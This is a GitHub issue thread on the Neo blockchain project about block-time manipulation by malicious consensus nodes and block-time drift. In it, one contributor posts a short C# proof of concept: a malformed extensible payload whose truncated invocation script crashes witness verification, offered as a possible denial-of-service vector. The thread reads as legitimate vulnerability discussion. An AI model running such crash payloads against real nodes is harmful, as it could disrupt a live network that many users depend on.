neo-project / neo

NEO Smart Economy
MIT License
3.47k stars 1.03k forks source link

discussion about block time #2918

Open vang1ong7ang opened 1 year ago

vang1ong7ang commented 1 year ago

this is not an urgent problem, but it is easy to fix without introducing forks.

  1. any malicious consensus node is able to propose its block earlier (any time from 0 to 15s)

    the 1/3 fault nodes is able to speed up block generation by 33%, thereby increasing the annual supply of GAS by 33%

  2. although neo’s expected block time is 15 seconds, it actually takes 16 to 17 seconds sometimes even more.

    essentially it is because neo consensus nodes propose the next block 15s after the current block and the negotiation of consensus nodes and transaction execution take some extra time

    ~it is suggested to calculate the expected block proposing time as (N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N] where N is an positive integer (i.e 1, 8, 64, ...) and BLOCKTIME[BLOCKINDEX] is the block time at block height BLOCKINDEX~

vang1ong7ang commented 1 year ago

~maybe it is better to use max(T, MIN_BLOCK_TIME) where T is (N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N]~

dusmart commented 1 year ago

any malicious consensus node is able to propose its block earlier (any time from 0 to 15s)

Good point. While it seems that no node want to do it earlier for now. They all want to pack more transactions to earn more network fee. Maybe that's why some nodes propose new blocks slower than 15s.

(N+1) * 15 - BLOCKTIME[CURRENT] + BLOCKTIME[CURRENT - N]

This is exactly a good smoothing solution.

roman-khimov commented 1 year ago

Refs. #626, #1032, #1232, #1959, #2018 (this one especially), neo-project/neo-modules#799, nspcc-dev/dbft#55 (it even has a draft implementation in nspcc-dev/dbft#56). CC @igormcoelho, @vncoelho.

As for the first, it's hard to separate communication delays from premature proposal. This problem does deserve some attention, but it has some administrative solution though, the bad node can be voted out.

As for the second, I still think BLOCKTIME can't be used for any timer adjustments, it's just not a reliable source of time. The only property it has is that it moves forward and it's somehow related to the current time. Averaging it out for some period of time (like proposed) or implementing a scheme from #2018 can help, but it still can be manipulated by nodes and it won't be easy. Is it worth the trouble? Is there a possibility of reinventing NTP in the process? I don't know.

Jim8y commented 1 year ago

This problem does deserve some attention, but it has some administrative solution though, the bad node can be voted out.

I love this one, but the problem here is how does people know who should be voted out~~~ we do not really monitor the behavior of the consensus nodes. Maybe add something to statistic those data

roman-khimov commented 1 year ago

Sure, monitoring and some real per-node statistics is the key here (it can even be shown on governance.neo.org).

cschuchardt88 commented 12 months ago

Also you can DDOS the network with malicious script in consensus. If you know the consensus nodes IP... even better. I dont have the code atm ill have to find it. But I can tell you without a doubt it is possible and to relay to network. It has to do with the way you verify the consensus packets which allows a malicious script to be executed. And there is a way to get limited gas in the process for the vm.

Jim8y commented 12 months ago

@vncoelho @igormcoelho I think consensus is your battle field, please take a look.

cschuchardt88 commented 12 months ago

I forgot the script i used, but you could spoof everything but InvocationScript and run malicious (DDOS) script in see last. Yes i know this uses CallFlags.None and is limited, that doesn't stop you from running a script that eats memory and resources.

https://github.com/neo-project/neo/blob/1ae6a13f8a269d8aecbf0f686330d56db72accfc/src/Neo/Network/P2P/Payloads/ExtensiblePayload.cs#L129-L135

And you can get to here to run scripts, same goes for transactions. Yes it will return false in the end. But think about it. https://github.com/neo-project/neo/blob/1ae6a13f8a269d8aecbf0f686330d56db72accfc/src/Neo/SmartContract/Helper.cs#L348

cschuchardt88 commented 12 months ago

Must use on testnet t5

Found the code

using var sb = new ScriptBuilder();
sb.Emit(OpCode.PUSHDATA1);

ExtensiblePayload payload = new()
{
    Category = "DDOS",
    Data = Array.Empty<byte>(),
    Sender = "NcScdqRaoE6DVzvGDBAnias9GTivdWfrDf".ToScriptHash(_ns.Settings.AddressVersion),
    ValidBlockStart = NativeContract.Ledger.CurrentIndex(_ns.StoreView) + 1,
    ValidBlockEnd = NativeContract.Ledger.CurrentIndex(_ns.StoreView) + _ns.Settings.MaxValidUntilBlockIncrement,
};

var col = Contract.CreateSignatureContract(ECPoint.Parse("034f7ea4ca4506ef288c5d5ed61686b9f39a0bc5f7670858305e32ea504ab543f3", ECCurve.Secp256r1));

payload.Witness = new Witness()
{
    InvocationScript = sb.ToArray(),
    VerificationScript = col.Script,
};
payload.VerifyWitnesses(_ns.Settings, _ns.GetSnapshot(), 0_06000000L) // Crashes

This is do to GetInstruction(i).Size crashes with ERROR [22:57:16.400] Index was outside the bounds of the array.

https://github.com/neo-project/neo-vm/blob/426e54d560c311f4b9831bed763332d031c2dac2/src/Neo.VM/Script.cs#L77

roman-khimov commented 12 months ago

This particular issue is about block time. I'd keep it this way (although we have a number of similar ones already and probably can deduplicate a little), if there are any other problems you want to discuss, please open new ones.

dusmart commented 11 months ago

Also you can DDOS the network with malicious script in consensus. If you know the consensus nodes IP... even better. I dont have the code atm ill have to find it. But I can tell you without a doubt it is possible and to relay to network. It has to do with the way you verify the consensus packets which allows a malicious script to be executed. And there is a way to get limited gas in the process for the vm.

This is an interesting topic. Could you please open a new issue and let's discuss some details? I'm not sure if this kind of tx could be relayed. I thought that only senders in extensibleWitnessWhiteList could build a valid consensus tx. Plus, finding consensus nodes' IP is very very very difficult as far as I tried.